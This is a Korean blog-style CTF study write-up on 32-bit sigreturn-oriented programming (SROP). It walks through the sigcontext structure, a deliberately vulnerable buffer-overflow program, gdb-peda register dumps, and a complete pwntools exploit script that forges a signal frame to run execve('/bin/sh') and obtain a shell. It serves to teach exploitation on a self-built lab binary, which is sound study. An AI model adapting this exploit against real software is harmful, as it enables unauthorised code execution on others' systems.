본문 바로가기

CTF_Write_UP/etc

[BOF] rop 알았으면 srop까진 해야지 (ver. 32bit)

시작

안녕하세요 :D

rop공룡 잡은 감동이 아직까지 이어지고 있습니다ㅎㅎㅎㅎ

내친김에 더 고오오오급 기법인 srop까지 정리해보려구 합니다!!

시작해보죠!!

참고했습니당 [https://www.lazenca.net/display/TEC/01.SROP%28Sigreturn-oriented+programming%29+-+x86]

SROP?

SROP, Sigreturn Oriented Programming의 약자입니다. 말 그대로 SigReturn()을 사용해서 터뜨리는 거에요.

프로그램은 user modekernal mode가 있는데, user mode에서는 사용할 수 있는 자원이나 영역이 제한적이지만

kernel mode에선 모든 자원에 접근할 수 있습니다.

이 두 모드는 왔다갔다 하면서 자원 공유를 필요로 합니다.

user mode에서 kernal mode로 진입 시 user mode에서 사용중이던 자원을 Kernal Stack에 저장합니다.

그리고 kernal mode에서 user mode로 진입 시 Kernal stack을 초기화합니다.

이 때 setup_frame()sigreturn() 함수가 사용되는데요.

setup_frame() 함수는 user mode의 stack을 설정해줍니다.

sigreturn() 함수는 stack을 복원하기 위해 사용되는 함수입니다.

좀 더 자세하게 들여다보면, kernal mode에서 user mode로 돌아올 때 sigreturn() 함수는 restore_sigcontext()를 호출합니다.

호출된 restore_sigcontext() 함수는 copy() 같은 함수를 사용하여 stack에 저장된 값을 레지스터에 복사하죠.

간단하게 말하자면 우리가 스택에 넣어준 값들이 sigreturn()의 호출을 통해 레지스터에 저장될 수 있다는 것입니다.

어떤 규칙으로 복사가 될까요? sigcontext 구조체를 살펴보면 쉽게 확인할 수 있습니다.

struct sigcontext {

             unsigned short gs, __gsh;

             unsigned short fs, __fsh;

             unsigned short es, __esh;

             unsigned short ds, __dsh;

             unsigned long edi;

             unsigned long esi;

             unsigned long ebp;

             unsigned long esp;

             unsigned long ebx;

             unsigned long edx;

             unsigned long ecx;

             unsigned long eax;

             unsigned long trapno;

             unsigned long err;

             unsigned long eip;

             unsigned short cs, __csh;

             unsigned long eflags;

             unsigned long esp_at_signal;

             unsigned short ss, __ssh;

             struct _fpstate *fpstate;

             unsigned long oldmask;

             unsigned long cr2;

};

sigreturn() 함수를 호출할 수만 있다면 우리는 레지스터에 우리가 원하는 값들을 넣는 것이 가능해집니다.

어떻게 시스템 콜을 불러올 수 있을까요?

쉘 코드를 제작해보신 분들이라면 쉽게 답이 나오셨을 거에요 :D

int 0x80을 이용하는 것입니다.

이 명령은 eax에 저장된 함수를 호출합니다.

sigreturn()을 위한 시스템 콜 번호는 119번 입니다. eax119를 넣어준 후 int 0x80을 실행한다면 sigreturn()이 실행되겠네요.

표시된 11번도 쉘 코드 작성이나 Exploit 할 때 사용되니 기억해두세요!!

 


 

eax119를, RETURNint 0x80을 넣고 (= sigreturn() 실행)

sigcontext 구조체에 맞게 값을 넣어주면 스택에 저장된 값들이 kernel mode에서 user mode로 넘어오며 레지스터에 들어갑니다.

이론은 이 정도로 정리하면 되겠네요!!

간단하게 코드를 짜보겠습니다.

root@goorm:/workspace/LCH_Server/srop# cat srop.c
#include <stdio.h>

char sh[] = "/bin/sh\x00";

void int80() {
        asm("int $0x80");
}

void main() {
        char buf[8];
        read(0, buf, 128);
}

(스택 보호 기법들을 해제해 준 뒤 32bit로 컴파일 해주시면 됩니다.)

read() 함수는 받아들인 bytes를 eax에 저장합니다. 따라서 read()가 119 bytes만큼 읽는다면 eax119가 담기겠죠?

얘는 끝에 0x10, data link escape가 자동으로 들어가기 때문에 118 bytes만 직접 입력해주겠습니다.

이제 sigreturn()이 얼마나 무서운 놈인지 보자구요

read() 직후에 bp를 걸고 달립니다!!

Breakpoint 1, 0x08048439 in main ()
gdb-peda$ i r
eax            0x77     0x77
ecx            0xfffde200       0xfffde200
edx            0x80     0x80
ebx            0xf76f6000       0xf76f6000
esp            0xfffde1f4       0xfffde1f4
ebp            0xfffde208       0xfffde208
esi            0x0      0x0
edi            0x0      0x0
eip            0x8048439        0x8048439 <main+22>
eflags         0x203    [ CF IF ]
cs             0x23     0x23
ss             0x2b     0x2b
ds             0x2b     0x2b
es             0x2b     0x2b
fs             0x0      0x0
gs             0x63     0x63

성공적으로 eax0x77, 119가 들어갔네요.

이 상태에서 RET 자리에 int 0x80을 넣어주면 sigreturn()이 뿅 하고 나올거에요

gdb-peda$ x/40wx $esp
0xfffde1f4:     0x00000000      0xfffde200      0x00000080      0x41414141
0xfffde204:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde214:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde224:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde234:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde244:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde254:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde264:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde274:     0x080a4141      0x00000000      0x08048341      0x08048423
0xfffde284:     0x00000001      0xfffde2a4      0x08048440      0x080484b0
gdb-peda$ set {int}0xfffde20c = 0x804841e
gdb-peda$
gdb-peda$ x/40wx $esp
0xfffde1f4:     0x00000000      0xfffde200      0x00000080      0x41414141
0xfffde204:     0x41414141      0x41414141      0x0804841e      0x41414141
0xfffde214:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde224:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde234:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde244:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde254:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde264:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffde274:     0x080a4141      0x00000000      0x08048341      0x08048423
0xfffde284:     0x00000001      0xfffde2a4      0x08048440      0x080484b0

RET 위치만 int 0x80으로 바꿨습니다. 진행해보죠

gdb-peda$ i r
eax            0x77     0x77
ecx            0xfffde200       0xfffde200
edx            0x80     0x80
ebx            0xf76f6000       0xf76f6000
esp            0xfffde210       0xfffde210
ebp            0x41414141       0x41414141
esi            0x0      0x0
edi            0x0      0x0
eip            0x804841e        0x804841e <int80+3>
eflags         0x296    [ PF AF SF IF ]
cs             0x23     0x23
ss             0x2b     0x2b
ds             0x2b     0x2b
es             0x2b     0x2b
fs             0x0      0x0
gs             0x63     0x63
gdb-peda$ ni

Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ i r
eax            0x0      0x0
ecx            0x41414141       0x41414141
edx            0x41414141       0x41414141
ebx            0x41414141       0x41414141
esp            0x41414141       0x41414141
ebp            0x41414141       0x41414141
esi            0x41414141       0x41414141
edi            0x41414141       0x41414141
eip            0x41414141       0x41414141
eflags         0x10243  [ CF ZF IF RF ]
cs             0x4143   0x4143
ss             0x4143   0x4143
ds             0x0      0x0
es             0x0      0x0
fs             0x0      0x0
gs             0x0      0x0

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ??

레지스터 터진 것 좀 보세요 대박

저게 어떻게 덮인 것이냐.. 는 바로 위에 설명되어 있습니다,

무작정 A를 때려박았지만 우리의 프로그램은 sigcontext의 문법에 맞추어

열심히 레지스터에 넣어준 것이에요.

자 이제 레지스터를 조작할 수 있다는 것이 증명되었습니다!!

쉘을 따는 시나리오를 짜볼까요?

1. read()에서 119 bytes만큼 읽기, (=eax119 저장)

2. RET 주소를 int 0x80의 주소로 덮기

3. sigcontext에 맞게 페이로드 구성

3.1. eipint 0x80 (=시스템 콜 한번 더 실행)

3.2. ‘eax’에 11 (=execve 실행)

3.3. ebx/bin/sh 주소 (=쉘 실행)

하나하나 구해보겠습니다.

gdb-peda$ find "/bin/sh\x00"
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
srop : 0x804a020 ("/bin/sh")
gdb-peda$ pdisas int80
Dump of assembler code for function int80:
   0x0804841b <+0>:     push   ebp
   0x0804841c <+1>:     mov    ebp,esp
   0x0804841e <+3>:     int    0x80
   0x08048420 <+5>:     nop
   0x08048421 <+6>:     pop    ebp
   0x08048422 <+7>:     ret
End of assembler dump.

/bin/sh의 주소 : 0x804a020

int 0x80의 주소 : 0x804841e

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x08048423 <+0>:     push   ebp
   0x08048424 <+1>:     mov    ebp,esp
   0x08048426 <+3>:     sub    esp,0x8
   0x08048429 <+6>:     push   0x80
   0x0804842e <+11>:    lea    eax,[ebp-0x8]
   0x08048431 <+14>:    push   eax
   0x08048432 <+15>:    push   0x0
   0x08048434 <+17>:    call   0x80482f0 <read@plt>
   0x08048439 <+22>:    add    esp,0xc
   0x0804843c <+25>:    nop
   0x0804843d <+26>:    leave
   0x0804843e <+27>:    ret
End of assembler dump

BUF 8 bytes | SFP 4 bytes | RET 4 bytes

구조인 것 까지 파악됐습니다.

1. /bin/sh의 주소 : 0x804a020

2. int 0x80의 주소 : 0x804841e

3. BUF 8 bytes | SFP 4 bytes | RET 4 bytes

다 왔습니다. 이제 페이로드를 짜러 가요!!

#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *

p = process("./srop")

payload = ""

int80 = 0x804841e
binsh = 0x804a020

payload += "A" * 12     #BUF + SFP 채우기

payload += p32(int80)   #RET Overwrite
payload += p32(0x63)    #GS
payload += p32(0x00)    #FS
payload += p32(0x2b)    #ES
payload += p32(0x2b)    #DS
payload += p32(0x00)    #EDI
payload += p32(0x00)    #ESI
payload += p32(0x00)    #EBP
payload += p32(0x00)    #ESP
payload += p32(binsh)   #EBX, execve()의 인자 "/bin/sh"
payload += p32(0x00)    #EDX
payload += p32(0x00)    #ECX
payload += p32(0x0b)    #EAX, syscall Number = 11 (execve)
payload += p32(0x00)    #Trapno
payload += p32(0x00)    #ERR
payload += p32(int80)   #EIP, (EAX 참조 후 syscall)
payload += p32(0x23)    #CS
payload += p32(0x203)   #Eflags
payload += p32(0x00)    #ESP_at_Signal
payload += p32(0x2b)    #SS

payload += "\x00" * (118 - len(payload))

p.sendline(payload)

p.interactive()

gdb에서 i r 명령으로 봤던 레지스터 값이 몇 개 보이시죠?

그대로 GS, FS, ES, DS, Eflags, SS 의 값에 넣어주어야 한다고 하네요. (구글링 해봤는데 ..오묘하네요 더 공부해야겠습니다ㅠ)

다 맞춰준 후 119 bytes를 맞추기 위해 남는 길이를 \x00으로 채웠습니다.

돌려볼게요!

root@goorm:/workspace/LCH_Server/srop# ./srop_practice.py
[+] Starting local process './srop': pid 836
[*] Switching to interactive mode
$ whoami
root

Exploit!! 쉘이 떨어졌습니다

마무리

사실 srop란 기법이 있는 줄도 몰랐습니다 ㅋㅋㅋㅋㅋ

얼마 전 DEFCON 2019 write up 보는데 speedrun-001번 문제가 srop 문제란 걸 보고

허겁지겁 찾아봤습니다 ㅎ..

64bit도 같이 쓰면 좋을텐데 아직 공부가.. 많이.. 부족합니다ㅠㅠㅠ

더 열심히 찾아보고 뜯어보고 삽질하겠습니다!!

감사합니다 :D